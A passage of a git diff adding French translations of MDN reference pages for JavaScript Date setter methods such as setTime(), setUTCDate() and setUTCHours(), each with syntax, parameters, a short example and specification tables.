+ <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/settime/index.html b/files/fr/web/javascript/reference/objets_globaux/date/settime/index.html
new file mode 100644
index 0000000000..fa914face8
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/settime/index.html
@@ -0,0 +1,91 @@
+---
+title: Date.prototype.setTime()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setTime
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setTime
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setTime()</strong></code> met l'objet {{jsxref("Date")}} à jour par rapport au nombre de millisecondes depuis le 1 janvier 1970, 00:00:00 UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-settime.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setTime(valeurTemps)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurTemps</code></dt>
+ <dd>Un entier représentant le nombre de millisecondes depuis le 1 janvier 1970, 00:00:00 UTC.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 à minuit, UTC et la date mise à jour (ce qui correspond à la valeur de l'argument).</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>setTime()</code> est utilisée afin d'assigner une date à un autre objet {{jsxref("Date")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setTime()">Utiliser <code>setTime()</code></h3>
+
+<pre class="brush: js">var leGrandJour = new Date("July 1, 1999");
+var pareilQueGrandJour = new Date();
+pareilQueGrandJour.setTime(leGrandJour.getTime());
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.27', 'Date.prototype.setTime')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.settime', 'Date.prototype.setTime')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.settime', 'Date.prototype.setTime')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setTime")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getTime()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setutcdate/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setutcdate/index.html
new file mode 100644
index 0000000000..cbf11c69c1
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/setutcdate/index.html
@@ -0,0 +1,90 @@
+---
+title: Date.prototype.setUTCDate()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCDate
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCDate
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setUTCDate()</strong></code> définit le jour du mois pour la date, selon UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-setutcdate.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setUTCDate(valeurJour)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurJour</code></dt>
+ <dd>Un entier de 1 à 31, représentant un jour dans le mois.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si le paramètre renseigné est en dehors des limites attendues, <code>setUTCDate()</code> tentera de mettre à jour la date en conséquence. Par exemple, si on utilise la valeur 40 pour <code>valeurJour</code>, et que le mois de la date est juin, le jour sera changé en 10 et le mois passera à juillet.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setUTCDate()">Utiliser <code>setUTCDate()</code></h3>
+
+<pre class="brush: js">var leGrandJour = new Date();
+leGrandJour.setUTCDate(20);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.37', 'Date.prototype.setUTCDate')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setUTCDate")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setutcfullyear/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setutcfullyear/index.html
new file mode 100644
index 0000000000..771dff1935
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/setutcfullyear/index.html
@@ -0,0 +1,96 @@
+---
+title: Date.prototype.setUTCFullYear()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCFullYear
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setUTCFullYear()</strong></code> définit l'année complête pour la date, selon UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-setutcfullyear.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setUTCFullYear(valeurAnnée[, valeurMois[, valeurJour]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurAnnée</code></dt>
+ <dd>Un entier indiquant la valeur numérique d'une année, par exemple, 1995.</dd>
+ <dt><code>valeurMois</code></dt>
+ <dd>Paramètre optionnel, un entier entre 0 et 11 représentant les mois de janvier à décembre.</dd>
+ <dt><code>valeurJour</code></dt>
+ <dd>Paramètre optionnel, un entier entre 1 et 31 représentant le jour du mois. Si le paramètre <code>valeurJour</code> est utilisé, il est également nécessaire d'indiquer <code>valeurMois</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si les paramètres <code>valeurMois</code> et <code>valeurJour</code> ne sont pas utilisés, les valeurs renvoyées par les méthodes {{jsxref("Objets_globaux/Date/getUTCMonth", "getUTCMonth()")}} et {{jsxref("Objets_globaux/Date/getUTCDate", "getUTCDate()")}} seront utilisées.</p>
+
+<p>Si un des paramètres indiqué est en dehors des limites attendues, <code>setUTCFullYear()</code> tentera de mettre à jour la date en conséquence. Ainsi si on utilise la valeur 15 pour <code>valeurMois</code>, l'année sera incrémentée de 1 (année + 1), et 3 sera utilisé pour le mois.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setUTCFullYear()">Utiliser <code>setUTCFullYear()</code></h3>
+
+<pre class="brush: js">var leGrandJour = new Date();
+leGrandJour.setUTCFullYear(1997);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.41', 'Date.prototype.setUTCFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setUTCFullYear")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setutchours/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setutchours/index.html
new file mode 100644
index 0000000000..2183e9aeff
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/setutchours/index.html
@@ -0,0 +1,98 @@
+---
+title: Date.prototype.setUTCHours()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCHours
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCHours
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setUTCHours()</strong></code> définit les heures pour la date, selon UTC, et renvoie le nombre de millièmes de secondes écoulées entre le 1er janvier 1970 00:00:00 UTC et cette nouvelle date.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-setutchours.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setUTCHours(valeurHeures[, valeurMinutes[, valeurSecondes[, valeurMs]]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurHeures</code></dt>
+ <dd>Un entier entre 0 et 23, représentant l'heure.</dd>
+ <dt><code>valeurMinutes</code></dt>
+ <dd>Paramètre optionnel, un entier entre 0 et 59, représentant les minutes.</dd>
+ <dt><code>valeurSecondes</code></dt>
+ <dd>Paramètre optionnel, un entier entre 0 et 59, représentant les secondes. Si le paramètre <code>valeurSecondes</code> est utilisé, le paramètre <code>valeurMinutes</code> devra également être renseigné.</dd>
+ <dt><code>valeurMs</code></dt>
+ <dd>Paramètre optionnel, un entier entre 0 et 999, représentant les millièmes de secondes. Si le paramètre <code>valeurMs</code> est utilisé, les paramètres <code>valeurMinutes</code> et <code>valeurSecondes</code> devront également être renseignés.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si les paramètres <code>valeurMinutes</code>, <code>valeurSecondes</code> et <code>valeurMs</code> ne sont pas renseignés, les valeurs renvoyées par les méthodes {{jsxref("Date.prototype.getUTCMinutes", "getUTCMinutes()")}}, {{jsxref("Date.prototype.getUTCSeconds", "getUTCSeconds()")}}, et {{jsxref("Date.prototype.getUTCMilliseconds", "getUTCMilliseconds()")}} seront utilisées.</p>
+
+<p>Si un des paramètres renseignés est en dehors des limites attendues, <code>setUTCHours()</code> tentera de mettre à jour la date en conséquence. Par exemple, si on utilise la valeur 100 pour <code>valeurSecondes</code>, les minutes seront incrémentées de 1 (min + 1), et 40 sera utilisé pour les secondes.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setUTCHours()">Utiliser <code>setUTCHours()</code></h3>
+
+<pre class="brush: js">var leGrandJour = new Date();
+leGrandJour.setUTCHours(8);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.35', 'Date.prototype.setUTCHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setUTCHours")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setHours()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setutcmilliseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setutcmilliseconds/index.html
new file mode 100644
index 0000000000..6699e1faa8
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/setutcmilliseconds/index.html
@@ -0,0 +1,90 @@
+---
+title: Date.prototype.setUTCMilliseconds()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCMilliseconds
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setUTCMilliseconds()</strong></code> définit les millièmes de secondes pour la date, selon UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-setutcmilliseconds.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setUTCMilliseconds(valeurMs) </pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurMs</code></dt>
+ <dd>Un entier entre 0 et 999, représentant les millièmes de secondes.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si le paramètre indiqué est en dehors des limites attendues, la date sera mise à jour en conséquence. Par exemple, si on utilise la valeur 1005, le nombre des secondes sera incrémenté de 1, et 5 sera utilisé pour les millièmes de secondes.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setUTCMilliseconds()">Utiliser <code>setUTCMilliseconds()</code></h3>
+
+<pre class="brush: js">var leGrandJour = new Date();
+leGrandJour.setUTCMilliseconds(500);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.29', 'Date.prototype.setUTCMilliseconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setUTCMilliseconds")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setutcminutes/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setutcminutes/index.html
new file mode 100644
index 0000000000..40ce14225b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/setutcminutes/index.html
@@ -0,0 +1,99 @@
+---
+title: Date.prototype.setUTCMinutes()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCMinutes
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setUTCMinutes()</strong></code> définit les minutes pour la date, selon UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-setutcminutes.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setUTCMinutes(valeurMinutes[, valeurSecondes[, valeurMs]]) </pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurMinutes</code></dt>
+ <dd>Un entier entre 0 et 59, représentant les minutes.</dd>
+ <dt><code>valeurSecondes</code></dt>
+ <dd>Paramètre optionnel, un entier entre 0 et 59, représentant les secondes. Si ce paramètre est utilisé, il faut également utiliser <code>valeurMinutes</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>valeurMs</code></dt>
+ <dd>Paramètre optionnel, un nombre entre 0 et 999, représentant les millièmes de secondes. Si ce paramètre est utilisé, il faut aussi indiquer <code>valeurMinutes</code> et <code>valeurSecondes</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si les paramètres <code>valeurSecondes</code> et <code>valeurMs</code> ne sont pas utilisés, les valeurs renvoyées par les méthodes {{jsxref("Date.prototype.getUTCSeconds", "getUTCSeconds()")}} et {{jsxref("Date.prototype.getUTCMilliseconds", "getUTCMilliseconds()")}} seront utilisées.</p>
+
+<p>Si un paramètre est en dehors des limites attendues, <code>setUTCMinutes()</code> tentera de mettre à jour la date en conséquence. Par exemple, si on utilise 100 pour <code>valeurSecondes</code>, les minutes (<code>valeurMinutes</code>) seront incrémentées de 1 (<code>valeurMinutes</code> + 1), et 40 sera utilisé pour les secondes.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setUTCMinutes()">Utiliser <code>setUTCMinutes()</code></h3>
+
+<pre class="brush: js">var leGrandJour = new Date();
+leGrandJour.setUTCMinutes(43);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.33', 'Date.prototype.setUTCMinutes')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setUTCMinutes")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setMinutes()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setutcmonth/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setutcmonth/index.html
new file mode 100644
index 0000000000..90132c3347
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/setutcmonth/index.html
@@ -0,0 +1,94 @@
+---
+title: Date.prototype.setUTCMonth()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCMonth
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setUTCMonth()</strong></code> définit le mois de la date, selon UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-setutcmonth.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setUTCMonth(valeurMois[, valeurJour]) </pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurMois</code></dt>
+ <dd>Un entier entre 0 et 11, représentant les mois de Janvier à Décembre.</dd>
+ <dt><code>valeurJour</code></dt>
+ <dd>Paramètre optionnel, un entier entre 1 et 31, représentant le jour du mois.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si le paramètre <code>valeurJour</code> n'est pas utilisé, la valeur renvoyée par la méthode {{jsxref("Date.prototype.getUTCDate", "getUTCDate()")}} sera utilisée.</p>
+
+<p>Si un paramètre renseigné n'est pas dans l'intervalle attendues, <code>setUTCMonth()</code> tentera de mettre à jour la date en conséquence. Par exemple, si on utilise 15 pour <code>valeurMois</code>, l'année sera incrémentée de 1 (année + 1), et 3 sera utilisé pour le mois.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setUTCMonth()">Utiliser <code>setUTCMonth()</code></h3>
+
+<pre class="brush: js">var leGrandJour = new Date();
+leGrandJour.setUTCMonth(11);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.39', 'Date.prototype.setUTCMonth')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setUTCMonth")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setMonth()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setutcseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setutcseconds/index.html
new file mode 100644
